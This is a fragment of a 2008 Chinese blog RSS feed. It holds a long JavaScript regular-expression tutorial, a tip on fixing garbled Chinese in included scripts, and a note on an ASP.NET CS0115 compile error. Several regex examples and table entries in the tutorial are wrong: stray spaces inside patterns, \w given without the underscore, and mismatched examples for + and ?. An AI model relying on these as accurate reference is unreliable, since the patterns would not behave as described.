<img src ="http://www.cnblogs.com/aqiang/aggbug/1333239.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47969/" target="_blank">新浪邮箱大本营粉墨登场！Sina.cn开放注册</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>js正则表达式解析</title><link>http://www.cnblogs.com/aqiang/archive/2008/11/04/1326709.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Tue, 04 Nov 2008 14:27:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/11/04/1326709.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1326709.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/11/04/1326709.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1326709.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1326709.html</trackback:ping><description><![CDATA[<a>正则表达式是一个描述字符模式的对象。</a>
<p>　　JavaScript的RegExp对象和String对象定义了使用正则表达式来执行强大的模式匹配和文本检索与替换函数的方法.<br />
<br />
　　在JavaScript中,正则表达式是由一个RegExp对象表示的.当然,可以使用一个RegExp()构造函数来创建RegExp对象,也可以用JavaScript 1.2中的新添加的一个特殊语法来创建RegExp对象.就像字符串直接量被定义为包含在引号内的字符一样,正则表达式直接量也被定义为包含在一对斜杠(/)之间的字符.所以,JavaScript可能会包含如下的代码:<br />
<br />
var pattern = /s$/;<br />
<br />
　　这行代码创建一个新的RegExp对象,并将它赋给变量parttern.这个特殊的RegExp对象和所有以字母"s"结尾的字符串都匹配.用RegExp()也可以定义一个等价的正则表达式,代码如下:<br />
<br />
var pattern = new RegExp("s$");<br />
<br />
　　无论是用正则表达式直接量还是用构造函数RegExp(),创建一个RegExp对象都是比较容易的.较为困难的任务是用正则表达式语法来描述字符的模式.JavaScript采用的是Perl语言正则表达式语法的一个相当完整的子集.<br />
<br />
　　正则表达式的模式规范是由一系列字符构成的.大多数字符(包括所有字母数字字符)描述的都是按照字面意思进行匹配的字符.这样说来,正则表达式/java/就和所有包含子串 "java" 的字符串相匹配.虽然正则表达式中的其它字符不是按照字面意思进行匹配的,但它们都具有特殊的意义.正则表达式 /s$/ 包含两个字符.</p>
<p>　　第一个特殊字符 "s" 是按照字面意思与自身相匹配.第二个字符 "$" 是一个特殊字符,它所匹配的是字符串的结尾.所以正则表达式 /s$/ 匹配的就是以字母 "s" 结尾<br />
的字符串.<br />
<br />
　　<strong>1.直接量字符<br />
</strong><br />
　　我们已经发现了,在正则表达式中所有的字母字符和数字都是按照字面意思与自身相匹配的.JavaScript的正则表达式还通过以反斜杠(\)开头的转义序列支持某些非<br />
<br />
　　字母字符.例如,序列 "\n" 在字符串中匹配的是一个直接量换行符.在正则表达式中,许多标点符号都有特殊的含义.下面是这些字符和它们的含义:<br />
<br />
　　正则表达式的直接量字符<br />
<br />
字符 匹配<br />
________________________________<br />
字母数字字符 自身<br />
\ f 换页符<br />
\ n 换行符<br />
\ r 回车<br />
\ t 制表符<br />
\ v 垂直制表符<br />
\ / 一个 / 直接量<br />
\ \ 一个 \ 直接量<br />
\ . 一个 . 直接量<br />
\ * 一个 * 直接量<br />
\ + 一个 + 直接量<br />
\ ? 一个 ? 直接量<br />
\ | 一个 | 直接量<br />
\ ( 一个 ( 直接量<br />
\ ) 一个 ) 直接量<br />
\ [ 一个 [ 直接量<br />
\ ] 一个 ] 直接量<br />
\ { 一个 { 直接量<br />
\ } 一个 } 直接量<br />
\ XXX 由十进制数 XXX 指 定的ASCII码字符<br />
\ Xnn 由十六进制数 nn 指定的ASCII码字符<br />
\ cX 控制字符^X. 例如, \cI等价于 \t, \cJ等价于 \n<br />
<br />
___________________________________________________<br />
<br />
如果想在正则表达式中使用特殊的标点符号,必须在它们之前加上一个 "\" .<br />
<br />
　　<strong>2.字符类</strong><br />
<br />
　　将单独的直接符放进中括号内就可以组合成字符类.一个字符类和它所包含的任何一个字符都匹配,所以正则表达式 / [abc] / 和字母 "a" , "b" , "c" 中的任何一个都匹配.另外还可以定义否定字符类,这些类匹配的是除那些包含在中括号之内的字符外的所有字符.定义否定字符尖时,要将一个 ^ 符号作为从左中括号算起的第一个字符.正则表达式的集合是 / [a-zA-z0-9] / .<br />
<br />
　　由于某些字符类非常常用,所以JavaScript的正则表达式语法包含一些特殊字符和转义序列来表示这些常用的类.例如, \s 匹配的是空格符,制表符和其它空白符, \s匹配的则是空白符之外的任何字符.<br />
<br />
　　正则表灰式的字符类<br />
<br />
字符 匹配<br />
____________________________________________________<br />
[...] 位于括号之内的任意字符<br />
[^...] 不在括号之中的任意字符<br />
. 除了换行符之外的任意字符,等价于[^\n]<br />
\w 任何单字字符, 等价于[a-zA-Z0-9]<br />
\W 任何非单字字符,等价于[^a-zA-Z0-9]<br />
\s 任何空白符,等价于[\ t \ n \ r \ f \ v]<br />
\S 任何非空白符,等价于[^\ t \ n \ r \ f \ v]<br />
\d 任何数字,等价于[0-9]<br />
\D 除了数字之外的任何字符,等价于[^0-9]<br />
[\b] 一个退格直接量(特例)<br />
________________________________________________________________<br />
<br />
　　<strong>3.复制<br />
</strong><br />
　　用以上的正则表式的语法,可以把两位数描述成 / \ d \ d /,把四位数描述成 / \d \ d \ d \ d /.但我们还没有一种方法可以用来描述具有任意多数位的数字或者是一个<br />
<br />
　　字符串.这个串由三个字符以及跟随在字母之后的一位数字构成.这些复杂的模式使用的正则表达式语法指定了该表达式中每个元素要重复出现的次数.<br />
<br />
　　指定复制的字符总是出现在它们所作用的模式后面.由于某种复制类型相当常用.所以有一些特殊的字符专门用于表示它们.例如: +号匹配的就是复制前一模式一次或多次的模式.下面的表列出了复制语法.先看一个例子:<br />
<br />
/\d{2, 4}/ //匹配2到4间的数字.<br />
<br />
/\w{3} \d?/ //匹配三个单字字符和一个任意的数字.<br />
<br />
/\s+java\s+/ //匹配字符串"java" ,并且该串前后可以有一个或多个空格.<br />
<br />
/[^"] * / //匹配零个或多个非引号字符.<br />
<br />
<br />
　　正则表达式的复制字符<br />
<br />
字符 含义<br />
__________________________________________________________________<br />
{n, m} 匹配前一项至少n次,但是不能超过m次<br />
{n, } 匹配前一项n次,或者多次<br />
{n} 匹配前一项恰好n次<br />
? 匹配前一项0次或1次,也就是说前一项是可选的. 等价于 {0, 1}<br />
+ 匹配前一项1次或多次,等价于{1,}<br />
* 匹配前一项0次或多次.等价于{0,}<br />
___________________________________________________________________<br />
<br />
<br />
　　<strong>4.选择,分组和引用</strong><br />
<br />
　　正则表达式的语法还包括指定选择项,对子表达式分组和引用前一子表达式的特殊字符.字符| 用于分隔供选择的字符.例如: /ab|cd|ef/ 匹配的是字符串 "ab",或者是字符串 "cd",又或者 "ef". /\d{3}|[a-z]{4}/ 匹配的是要么是一个三位数,要么是四个小写字母.在正则表达式中括号具有几种作用.它的主要作用是把单独的项目分组成子表达式,以便可以像处理一个独立的单元那种用 *、+或? 来处理那些项目.例如: /java(script) ?/ 匹配的是字符串 "java",其后既可以有 "script",也可以没有. /(ab|cd) + |ef) / 匹配的既可以是字符串 "ef",也可以是字符串"ab" 或者 "cd" 的一次或多次重复.</p>
<p>　　在正则表达式中,括号的第二个用途是在完整的模式中定义子模式。当一个正则表达式成功地和目标字符串相匹配时,可以从目标串中抽出和括号中的子模式相匹配的部分.例如,假定我们正在检索的模式是一个或多个字母后面跟随一位或多位数字,那么我们可以使用模式 / [a-z] + \ d+/.但是由于假定我们真正关心的是每个匹配尾部的数字,那么如果我们将模式的数字部分放在括号中 (/ [a-z] + (\d+)/) ,我们就可以从所检索到的任何匹配中抽取数字了,之后我们会对此进行解析的.</p>
<p>　　代括号的子表达式的另一个用途是,允许我们在同一正则表达式的后面引用前面的子表达式.这是通过在字符串 \ 后加一位或多位数字来实现的.数字指的是代括号的子表达式在正则表达式中的位置.例如: \1 引用的是第一个代括号的子表达式. \3 引用的是第三个代括号的子表达式.注意,由于子表达式可以嵌套在其它子表达式中,所以它的位置是被计数的左括号的位置.</p>
<p>　　例如:在下面的正则表达式被指定为 \2:<br />
/([Jj]ava([Ss]cript)) \sis \s (fun\w*) /<br />
<br />
<br />
　　对正则表达式中前一子表达式的引用所指定的并不是那个子表达式的模式,而是与那个模式相匹配的文本.这样,引用就不只是帮助你输入正则表达式的重复部分的快捷方式了,它还实施了一条规约,那就是一个字符串各个分离的部分包含的是完全相同的字符.例如:下面的正则表达式匹配的就是位于单引号或双引号之内的所有字符.但是,它要求开始和结束的引号匹配(例如两个都是双引号或者都是单引号):</p>
<p>/[' "] [^ ' "]*[' "]/<br />
<br />
<br />
　　如果要求开始和结束的引号匹配,我们可以使用如下的引用:</p>
<p>/( [' "] ) [^ ' "] * \1/</p>
<p>　　\1匹配的是第一个代括号的子表达式所匹配的模式.在这个例子中,它实施了一种规约,那就是开始的引号必须和结束的引号相匹配.注意,如果反斜杠后跟随的数字比代括号的子表达式数多,那么它就会被解析为一个十进制的转义序列,而不是一个引用.你可以坚持使用完整的三个字符来表示转义序列,这们就可以避免混淆了.例如,使用 \044,而不是\44.下面是正则表达式的选择、分组和引用字符:<br />
<br />
字符 含义<br />
______________________________________<br />
| 选择.匹配的要么是该符号左边的子表达式,要么它右边的子表达式<br />
(...) 分组.将几个项目分为一个单元.这个单元可由 *、+、？和|等符号使用,而且还可以记住和这个组匹配的字符以供此后引用使用<br />
\n 和第n个分组所匹配的字符相匹配.分组是括号中的子表达式(可能是嵌套的).分组号是从左到右计数的左括号数<br />
______________________________________<br />
<br />
　　<strong>5.指定匹配的位置</strong><br />
<br />
　　我们已经看到了,一个正则表达式中的许多元素才能够匹配字符串的一个字符.例如: \s 匹配的只是一个空白符.还有一些正则表达式的元素匹配的是字符之间宽度为0的空间,而不是实际的字符例如: \b 匹配的是一个词语的边界,也就是处于一个/w字字符和一个\w非字字符之间的边界.像\b 这样的字符并不指定任何一个匹配了的字符串中的字符,它们指定的是匹配所发生的合法位置.有时我们称这些元素为正则表达式的锚.因为它们将模式定位在检索字符串中的一个特定位置.最常用的锚元素是 ^, 它使模式依赖于字符串的开头,而锚元素$则使模式定位在字符串的末尾.</p>
<p>　　例如:要匹配词 "javascript" ,我们可以使用正则表达式 /^ javascript $/. 如果我们想检索 "java" 这个词自身 (不像在 "javascript" 中那样作为前缀),那么我们可以使用模式 /\s java \s /, 它要求在词语java之前和之后都有空格.但是这样作有两个问题.第一: 如果 "java" 出现在一个字符的开头或者是结尾.该模式就不会与之匹配,除非在开头和结尾处有一个空格. 第二: 当这个模式找到一个与之匹配的字符时,它返回的匹配的字符串前端和后端都有空格,这并不是我们想要的.因此,我们使用词语的边界 \b 来代替真正的空格符 \s 进行匹配. 结果表达式是 /\b java \b/.</p>
<p>下面是正则表达式的锚字符:<br />
<br />
<br />
字符 含义<br />
____________________________________________________________________<br />
^ 匹配的是字符的开头,在多行检索中,匹配的是一行的开头<br />
$ 匹配的是字符的结尾,在多行检索中,匹配的是一行的结尾<br />
\b 匹配的是一个词语的边界.简而言之就是位于字符\w 和 \w之间的位置(注意:[\b]匹配的是退格符)<br />
\B 匹配的是非词语的边界的字符<br />
_____________________________________________________________________<br />
<br />
　　<strong>6.属性<br />
</strong><br />
　　有关正则表达式的语法还有最后一个元素,那就是正则表达式的属性,它说明的是高级模式匹配的规则.和其它正则表达式语法不同,属性是在 / 符号之外说明的.即它们不出现在两个斜杠之间,而是位于第二个斜杠之后.javascript 1.2支持两个属性.属性 i 说明模式匹配应该是大小写不敏感的.属性 g 说明模式匹配应该是全局的.也就是说,应该找出被检索的字符串中所有的匹配.这两种属性联合起来就可以执行一个全局的,大小写不敏感的匹配.</p>
<p>　　例如: 要执行一个大小不敏感的检索以找到词语 "java" (或者是 "java" 、"JAVA"等) 的第一个具体值,我们可以使用大小不敏感的正则表达式 /\b java\b/i .如果要在一个字符串中找到 "java" 所有的具体值,我们还可以添加属性 g, 即 /\b java \b/gi .<br />
<br />
以下是正则表达式的属性:<br />
<br />
<br />
字符 含义<br />
_________________________________________<br />
i 执行大小写不敏感的匹配<br />
g 执行一个全局的匹配,简而言之,就是找到所有的匹配,而不是在找到第一个之后就停止了<br />
_________________________________________<br />
<br />
　　除属性 g 和 i 之外,正则表达式就没有其它像属性一样的特性了.如果将构造函数 RegExp 的静态属性 multiline 设置为 true ,那么模式匹配将以多行的模式进行.在这种模式下,锚字符 ^ 和 $ 匹配的不只是检索字符串的开头和结尾,还匹配检索字符串内部的一行的开头和结尾.例如: 模式 /Java$/ 匹配的是 "Java",但是并不匹配"Java\nis fun" .如果我们设置了 multiline 属性,那么后者也将被匹配:<br />
<br />
RegExp.multiline = true;</p>
<p>　　正则表达式(regular expression)对象包含一个正则表达式模式(pattern)。它具有用正则表达式模式去匹配或代替一个串(string)中特定字符(或字符集合)的属性(properties)和方法(methods)。要为一个单独的正则表达式添加属性,可以使用正则表达式构造函数(constructor function)，无论何时被调用的预设置的正则表达式拥有静态的属性(the predefined RegExp object has static properties that are set whenever any regular expression is used, 我不知道我翻得对不对，将原文列出，请自行翻译)。 </p>
<ul>
    <li>创建：<br />
    一个文本格式或正则表达式构造函数<br />
    文本格式： /pattern/flags<br />
    正则表达式构造函数： new RegExp("pattern"[,"flags"]);</li>
    <li>参数说明：<br />
    pattern -- 一个正则表达式文本<br />
    flags -- 如果存在，将是以下值：<br />
    g: 全局匹配<br />
    i: 忽略大小写<br />
    gi: 以上组合 </li>
</ul>
<p>[<font color="#ff0000">注意</font>] <em>文本格式的参数不用引号，而在用构造函数时的参数需要引号。如：/ab+c/i new RegExp("ab+c","i")是实现一样的功能。在构造函数中，一些特殊字符需要进行转意(在特殊字符前加"\")。如：re = new RegExp("\\w+")</em></p>
<p>　　正则表达式中的特殊字符</p>
<p>
<table cellspacing="0" cellpadding="1" width="90%" align="center" bgcolor="#000000">
    <tr>
            <td>
            <table cellspacing="1" cellpadding="3" width="100%" bgcolor="#ffffff">
                <tr align="center" bgcolor="#ccccff">
                        <td align="center" width="50">字符</td>
                        <td>含意</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>\</td>
                        <td>
                        <p>做为转意，即通常在"\"后面的字符不按原来意义解释，如/b/匹配字符"b"，当b前面加了反斜杆后/\b/，转意为匹配一个单词的边界。<br />
                        -或-<br />
                        对正则表达式功能字符的还原，如"*"匹配它前面元字符0次或多次，/a*/将匹配a,aa,aaa，加了"\"后，/a\*/将只匹配"a*"。</p>
                        </td>
                    </tr>
                    <tr>
                        <td>^</td>
                        <td>匹配一个输入或一行的开头，/^a/匹配"an A"，而不匹配"An a"</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>$</td>
                        <td>匹配一个输入或一行的结尾，/a$/匹配"An a"，而不匹配"an A"</td>
                    </tr>
                    <tr>
                        <td>*</td>
                        <td>匹配前面元字符0次或多次，/ba*/将匹配b,ba,baa,baaa</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>+</td>
                        <td>匹配前面元字符1次或多次，/ba*/将匹配ba,baa,baaa</td>
                    </tr>
                    <tr>
                        <td>?</td>
                        <td>匹配前面元字符0次或1次，/ba*/将匹配b,ba</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>(x)</td>
                        <td>匹配x保存x在名为$1...$9的变量中</td>
                    </tr>
                    <tr>
                        <td>x|y</td>
                        <td>匹配x或y</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>{n}</td>
                        <td>精确匹配n次</td>
                    </tr>
                    <tr>
                        <td>{n,}</td>
                        <td>匹配n次以上</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>{n,m}</td>
                        <td>匹配n-m次</td>
                    </tr>
                    <tr>
                        <td>[xyz]</td>
                        <td>字符集(character set)，匹配这个集合中的任一一个字符(或元字符)</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>[^xyz]</td>
                        <td>不匹配这个集合中的任何一个字符</td>
                    </tr>
                    <tr>
                        <td>[\b]</td>
                        <td>匹配一个退格符</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>\b</td>
                        <td>匹配一个单词的边界</td>
                    </tr>
                    <tr>
                        <td>\B</td>
                        <td>匹配一个单词的非边界</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>\cX</td>
                        <td>这儿，X是一个控制符，/\cM/匹配Ctrl-M</td>
                    </tr>
                    <tr>
                        <td>\d</td>
                        <td>匹配一个字数字符，/\d/ = /[0-9]/</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>\D</td>
                        <td>匹配一个非字数字符，/\D/ = /[^0-9]/</td>
                    </tr>
                    <tr>
                        <td>\n</td>
                        <td>匹配一个换行符</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>\r</td>
                        <td>匹配一个回车符</td>
                    </tr>
                    <tr>
                        <td>\s</td>
                        <td>匹配一个空白字符，包括\n,\r,\f,\t,\v等</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>\S</td>
                        <td>匹配一个非空白字符，等于/[^\n\f\r\t\v]/</td>
                    </tr>
                    <tr>
                        <td>\t</td>
                        <td>匹配一个制表符</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>\v</td>
                        <td>匹配一个重直制表符</td>
                    </tr>
                    <tr>
                        <td>\w</td>
                        <td>匹配一个可以组成单词的字符(alphanumeric，这是我的意译，含数字)，包括下划线，如[\w]匹配"$5.98"中的5，等于[a-zA-Z0-9]</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>\W</td>
                        <td>匹配一个不可以组成单词的字符，如[\W]匹配"$5.98"中的$，等于[^a-zA-Z0-9]。</td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
<br />
</p>
<p>　　说了这么多了，我们来看一些正则表达式的实际应用的例子：</p>
<blockquote style="margin-right: 0px">
<p>E-mail地址验证:<br />
&nbsp;function test_email(strEmail) {<br />
&nbsp;&nbsp;var myReg = /^[_a-z0-9]+@([_a-z0-9]+\.)+[a-z0-9]{2,3}$/;<br />
&nbsp;&nbsp;if(myReg.test(strEmail)) return true;<br />
&nbsp;&nbsp;return false;<br />
&nbsp;}<br />
HTML代码的屏蔽<br />
&nbsp;function mask_HTMLCode(strInput) {<br />
&nbsp;&nbsp; var myReg = /&lt;(\w+)&gt;/;<br />
&nbsp;&nbsp; return strInput.replace(myReg, "&amp;lt;$1&amp;gt;");<br />
&nbsp;}</p>
<strong>正则表达式对象的属性及方法</strong><br />
　　预定义的正则表达式拥有有以下静态属性：input, multiline, lastMatch, lastParen, leftContext, rightContext和$1到$9。其中input和multiline可以预设置。其他属性的值在执行过exec或test方法后被根据不同条件赋以不同的值。许多属性同时拥有长和短(perl风格)的两个名字，并且，这两个名字指向同一个值。(JavaScript模拟perl的正则表达式)<br />
正则表达式对象的属性
<table cellspacing="0" cellpadding="1" width="90%" align="center" bgcolor="#000000">
    <tr>
            <td>
            <table cellspacing="1" cellpadding="1" width="100%" bgcolor="#ffffff">
                <tr valign="middle" bgcolor="#ccccff">
                        <td align="center" width="80">属性</td>
                        <td>含义</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>$1...$9</td>
                        <td>如果它(们)存在，是匹配到的子串</td>
                    </tr>
                    <tr>
                        <td>$_</td>
                        <td>参见input</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>$*</td>
                        <td>参见multiline</td>
                    </tr>
                    <tr>
                        <td>$&amp;</td>
                        <td>参见lastMatch</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>$+</td>
                        <td>参见lastParen</td>
                    </tr>
                    <tr>
                        <td>$`</td>
                        <td>参见leftContext</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>$&#8217;　　　　　　　　　</td>
                        <td>参见rightContext</td>
                    </tr>
                    <tr>
                        <td>constructor　　　</td>
                        <td>创建一个对象的一个特殊的函数原型</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>global　　　　　　</td>
                        <td>是否在整个串中匹配(bool型)</td>
                    </tr>
                    <tr>
                        <td>ignoreCase　　　　</td>
                        <td>匹配时是否忽略大小写(bool型)</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>input　　　　　　　</td>
                        <td>被匹配的串</td>
                    </tr>
                    <tr>
                        <td>lastIndex　　　　</td>
                        <td>最后一次匹配的索引</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>lastParen　　　　</td>
                        <td>最后一个括号括起来的子串</td>
                    </tr>
                    <tr>
                        <td>leftContext　　　</td>
                        <td>最近一次匹配以左的子串</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>multiline　　　　</td>
                        <td>是否进行多行匹配(bool型)</td>
                    </tr>
                    <tr>
                        <td>prototype　　　　</td>
                        <td>允许附加属性给对象</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>rightContext　　　</td>
                        <td>最近一次匹配以右的子串</td>
                    </tr>
                    <tr>
                        <td>source　　　　　　</td>
                        <td>正则表达式模式</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>lastIndex　　　　</td>
                        <td>最后一次匹配的索引</td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
<strong><br />
正则表达式对象的方法<br />
</strong>
<table cellspacing="0" cellpadding="1" width="90%" align="center" bgcolor="#000000">
    <tr>
            <td>
            <table cellspacing="1" cellpadding="1" width="100%" bgcolor="#ffffff">
                <tr align="center" bgcolor="#ccccff">
                        <td align="center" width="70">方法</td>
                        <td>含义</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>compile　　　　　</td>
                        <td>正则表达式比较</td>
                    </tr>
                    <tr>
                        <td>exec　　　　　　　</td>
                        <td>执行查找</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>test　　　　　　　</td>
                        <td>进行匹配</td>
                    </tr>
                    <tr>
                        <td>toSource　　　　　</td>
                        <td>返回特定对象的定义(literal representing)，其值可用来创建一个新的对象。重载Object.toSource方法得到的。</td>
                    </tr>
                    <tr bgcolor="#dfdfdf">
                        <td>toString　　　　　</td>
                        <td>返回特定对象的串。重载Object.toString方法得到的。</td>
                    </tr>
                    <tr>
                        <td>valueOf　　　　　</td>
                        <td>返回特定对象的原始值。重载Object.valueOf方法得到</td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
例子<br />
&lt;script language = "JavaScript"&gt;<br />
var myReg = /(\w+)\s(\w+)/;<br />
var str&nbsp; = "John Smith";<br />
var newstr = str.replace(myReg, "$2, $1");<br />
document.write(newstr);<br />
&lt;/script&gt;<br />
将输出"Smith, John" </blockquote>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1326709.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47968/" target="_blank">IE市场份额首次跌破60%</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>[小技巧]JavaScript中文乱码的解决方法</title><link>http://www.cnblogs.com/aqiang/archive/2008/11/02/1325036.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Sun, 02 Nov 2008 13:36:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/11/02/1325036.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1325036.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/11/02/1325036.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1325036.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1325036.html</trackback:ping><description><![CDATA[<p>当页面中包含的js文件中有中文输出时，在页面中会出现乱码．</p>
<p>解决办法，在包含代码中加入charset,和页面编码一致．</p>
<p>&nbsp;&lt;script <span style="color: red">charset="gb2312" </span>src="/DotBBS_Net/Js/Register.js" language="javascript"&gt;&lt;/script&gt;</p>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1325036.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47965/" target="_blank">Google App Engine宕机6小时——云的安全在哪里？</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>备忘：GetTypeHashCode() 没有找到适合的方法来重写</title><link>http://www.cnblogs.com/aqiang/archive/2008/10/28/1321053.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Tue, 28 Oct 2008 02:18:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/10/28/1321053.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1321053.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/10/28/1321053.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1321053.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1321053.html</trackback:ping><description><![CDATA[<h1><font style="font-size: 14px"><font style="font-size: 14px">&#8220;/web&#8221;应用程序中的服务器错误。</font></font></h1>
<hr width="100%" color="silver" size="1" />
<h2><font style="font-size: 14px"><font style="font-size: 14px"><font style="font-size: 14px"><em>编译错误</em></font></font></font></h2>
<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif"><font style="font-size: 14px"><strong>说明:</strong> 在编译向该请求提供服务所需资源的过程中出现错误。请检查下列特定错误详细信息并适当地修改源代码。<br />
<br />
<strong>编译器错误信息:</strong> CS0115: &#8220;ASP.管理员模块_帐户信息管理_aspx.GetTypeHashCode()&#8221;: 没有找到适合的方法来重写<br />
<br />
<strong>源错误:</strong><br />
</font><br />
</font>
<table width="100%" bgcolor="#ffffcc">
    <tr>
            <td></td>
        </tr>
        <tr>
            <td>
            <pre><code>行 1540: 行 1541: [System.Diagnostics.DebuggerNonUserCodeAttri<wbr>bute()] <font color="red">行 1542: public override int GetTypeHashCode() { </font>行 1543: return 467426834; 行 1544: }</code> </pre>
            </td>
        </tr>
    </table>
<br />
<font face="Verdana">源文件:</font> c:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files\web\9fedc737\95205c54\App_Web_帐户信息管理.aspx.f8e4a0a4.cxxhsvmn.0.cs &nbsp;<wbr>&nbsp;<wbr> <font face="Verdana">行:</font> 1542<br />
<br />
<font style="font-size: 12px"><font style="font-size: 14px"><br />
</font></font><font style="font-size: 14px">出现这个错误的原因是你在.cs文件中的类名和.aspx中的类名不相同造成的.例如,.cs文件名叫Left.aspx(教师信息.cs),但是在.cs文件代码中的load方法前的名称却为 _default,归结起来就是类名不一致造成的.必须仔细检查.</font>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1321053.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47961/" target="_blank">微软新推社交网站Windows Live Planet</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>应园友要求－－讲述无扩展名的UrlRewrite实现(附源码)</title><link>http://www.cnblogs.com/aqiang/archive/2008/10/23/1318071.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Thu, 23 Oct 2008 08:44:00 